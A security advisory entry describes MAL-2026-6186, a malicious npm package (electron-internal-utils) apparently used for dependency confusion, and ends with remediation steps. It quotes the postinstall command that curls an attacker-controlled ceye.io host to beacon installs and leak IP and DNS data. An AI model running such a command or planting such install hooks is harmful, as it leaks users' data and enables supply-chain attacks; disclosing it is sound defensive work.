What is MAL-2026-6186?
MAL-2026-6186 is a malicious package in electron-internal-utils, published on 19 Jun 2026.
Official description
On npm install, package.json's postinstall script executes
curl http://9ph8dp.ceye.io, an out-of-band DNS/HTTP interaction service controlled by the package author. The callback signals the attacker that the package was installed on the host and leaks the installer's public IP and DNS resolver metadata. The package ships no functionality (index.js contains only module.exports = {};) and its name impersonates the Electron project's internal-utilities namespace, consistent with a dependency-confusion attack against projects that reference internal Electron helpers. Any environment that runs npm install on this package will silently beacon to attacker-controlled infrastructure.What should I do about MAL-2026-6186?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
